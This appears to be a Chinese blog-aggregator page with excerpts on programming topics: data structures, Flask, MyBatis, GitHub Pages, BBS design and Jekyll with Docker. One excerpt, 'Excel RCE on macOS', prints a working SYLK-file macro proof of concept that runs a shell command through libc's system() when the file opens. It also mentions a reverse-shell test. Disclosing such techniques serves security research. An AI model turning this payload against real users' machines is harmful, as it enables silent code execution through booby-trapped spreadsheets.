blog

数据结构线性表、栈和队列(C描述)

倖福魔咒の 提交于 2019-12-05 05:06:26
数据结构线性表、栈和队列(C描述) 资料 : 线性表的链式表示和实现 http://my.oschina.net/xinxingegeya/blog/261287 线性表的顺序表示和实现 http://my.oschina.net/xinxingegeya/blog/232810 栈的顺序表示和实现 http://my.oschina.net/xinxingegeya/blog/266124 队列的链式表示和实现 http://my.oschina.net/xinxingegeya/blog/266306 队列的顺序表示和实现 http://my.oschina.net/xinxingegeya/blog/267845 ====END==== 来源: oschina 链接: https://my.oschina.net/u/1469576/blog/313430

(四)Flask 学习 —— 数据库

风格不统一 提交于 2019-12-05 00:57:14
数据库 回顾 在前面的章节中,我们已经创建了登录表单,完成了提交以及验证。在这篇文章中,我们要创建我们的数据库,并设置它,这样我们就可以保存我们的用户。 我们接下来讲述的正是我们上一章离开的地方,所以你可能要确保应用程序 microblog 正确地安装和工作。 从命令行中运行 Python 脚本 在这一章中我们会写一些脚本用来简化数据库的管理。在我们开始编写脚本之前,先来温习下 Python 脚本如何在命令行中执行。 如果你使用 Linux 或者 OS X 系统的话,脚本必须给予一定的权限,像这样: chmod a+x script.py 脚本中有一个 shebang ,它指明应该使用的解释器。一个脚本如果被赋予了执行权限并且有一个 shebang 行能够被简单地像这样执行: ./script.py <arguments> 在 Windows 上,上面的操作是没有作用的,相反你必须提供脚本作为选择的 Python 解释器的一个参数: flask\Scripts\python script.py <arguments> 为了避免键入 Python 解释器的路径,你可以把 microblog/flask/Scripts 加入到系统路径中,但是务必让它在你的 Python 解释器之前。 从现在起,在本教程中的 Linux / OS X 的语法将用于缩写。如果你是在 Windows 上

个人博客搭建之旅

 ̄綄美尐妖づ 提交于 2019-12-05 00:47:56
个人博客搭建(一) 什么是GITHub Pages? github pages有300M免费空间,资料自己管理,保存可靠 上面有很多大牛,眼界会开阔很多,你也会成为大牛 github很geek github pages 流量无线,免购买服务器,自主性高 从国内 oschina 转战 GITHUB 准备工作 注册一个github 账号 选择一个好用markdown工具 CmdMarkdown 建立博客 创建仓库 仓库名字和账号名字一致,使用github.com 结尾 设置主题 进入仓库的Settings 生成页面 选择主题 一个属于自己的Blog 就这么容易弄好啦!准备你的Blog之旅吧! 来源: oschina 链接: https://my.oschina.net/u/567457/blog/716769

bbs仿博客

。_饼干妹妹 提交于 2019-12-05 00:30:37
BBS表设计 项目开发的流程 需求分析 架构师+产品经理+开发组组长 在去客户公司谈需求之前,先事先估摸着这个项目应该怎么做 里面有哪些坑的点 提前想好比较简单的解决方案 在跟客户谈的时候 有意识的引导客户朝着你已经想好的方案上去提需求 项目设计 架构师干的活 项目的报价(每个程序员按照人头 每天2000+左右) 语言的选择 框架的选择 数据库的选择(主库用什么 缓存库) 功能划分 开发部开发组长开会分发任务 分组开发 架构师和开发组长将项目整体的框架搭建出来 然后让小组成员各自朝着各个部分填写代码即可 测试 显而易见的bug如果你自己没有发现,测试部分的如果发现了 你可能就会面临扣绩效的场面 基本薪资 6000 扣1050 岗位津贴 4000 绩效 2000 .... 自己写测试脚本 测试部分专门测试 测试部分一般都是妹纸 交付上线 交给你们公司的运维人员或者是客户公司的运维人员 表 用户表 用户表和个人站点表是一对一的关系 个人站点表 文章标签表 标签与个人站点一对多 文章分类表 分类与个人站点是一对多 文章表 文章和个人站点 是一对多 文章与标签是多对多的关系 文章与分类是一对多 点赞点踩表 用来存哪个用户给哪篇文章点了赞还是点了踩 user 一对多用户表 article 一对多文章表 is_up 普通字段 本质: 一张表中的一条数据能否对应另外一张表的多条数据

mybatis的基本使用

我的未来我决定 提交于 2019-12-05 00:28:37
第一部分 基本概念 1.1 什么是MyBatis   MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以对配置和原生Map使用简单的 XML 或注解,将接口和 Java 的 POJOs(Plain Old Java Objects,普通的 Java对象)映射成数据库中的记录。 1.2 经典配置 从 XML 中构建 SqlSessionFactory   每个基于 MyBatis 的应用都是以一个 SqlSessionFactory 的实例为中心的。 而 SqlSessionFactory 本 身 是 由 SqlSessionFactoryBuilder 创建的,它可以从 XML 配置,注解或手动配置 Java 来创建 SqlSessionFactory。但是当Mybatis与一些依赖注入框架(如Spring或者Guice)同时使用时,SqlSessions将被依赖注入框架所创建,所以你不需要使用SqlSessionFactoryBuilder或者SqlSessionFactory   从 XML 文件中构建 SqlSessionFactory 的实例非常简单,建议使用类路径下的资源文件进行配置。MyBatis 包含一个名叫 Resources 的工具类

Eclipse 下使用TomcatPugin 教程!

柔情痞子 提交于 2019-12-05 00:08:17
前几天群里一个朋友抱怨说是Myeclipse太慢了,用起来很卡,其他网友推荐他使用eclipse,并且也参照了前面我们的一篇文章:eclipse 插件:http://bestupon.javaeye.com/blog/738998 按照上面介绍的使用Tomcat来部署服务!他这折腾了半天,插件是安装好了,就是不会部署应用程序!自己也没有去官方上参看使用情况,一个人在那折腾了老半天!介于此,才有了这篇文章!希望给需要帮助的朋友一点帮助! 一、TomcatPlugin简介: 是eclipse下方便 ... [阅读全文] 已有 5 人发表留言,猛击->> 这里 <<-参与讨论 JavaEye推荐 北京:手机之家网站诚聘PHP程序员 上海:高薪诚聘Python开发人员 来源: oschina 链接: https://my.oschina.net/u/98320/blog/7826

Excel RCE on macOS

若如初见. 提交于 2019-12-04 20:58:59
背景 该漏洞最初由Pieter Ceelen发现。如果安装时启用 Disable all macros without notification ,可实现悄无声息执行命令。 查看打开文件的默认程序,可以看到 .slk 文件默认用Excel打开 cd /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support && ./lsregister -dump POC,打开计算器测试 ID;P O;E NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator") C;X1;Y102;K0;EHALT() E 反弹shell测试 总结 默认配置的Excel一般会有宏的提示,对于安全意识不高的群体仍然存在一定的风险。 参考 https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/#more-547 https://objective-see.com/blog/blog_0x50.html 来源: https:/

使用Docker构建Jekyll框架网站

夙愿已清 提交于 2019-12-04 18:43:44
使用Docker构建Jekyll框架网站 使用 dockerfile 构建 apache + jekyll 目录 Jekyll基础镜像 构建Jekyll基础镜像 Apache镜像 构建Jekyll Apache镜像 创建Apache容器 查看Apache容器端口 更新Jekyll网站 Jekyll基础镜像 mkdir jekyll cd jekyll vi Dockerfile 其中Dockerfile内容修改文件内容为: FROM ubuntu MAINTAINER hongyang liu 1664698982@qq.com ENV REFRESHED_AT 2019-11-17 RUN apt-get -yqq update RUN apt-get -yqq install ruby ruby-dev make nodejs RUN gem install --no-rdoc --no-ri jekyll VOLUME /data VOLUME /var/www/html WORKDIR /data ENTRYPOINT ["jekyll","build","--destination=/var/www/html"] 构建成功后结果如下: /data ,用来存放网站源代码 镜像基于Ubuntu 18.04,并且安装了Ruby和用于支持Jekyll的包。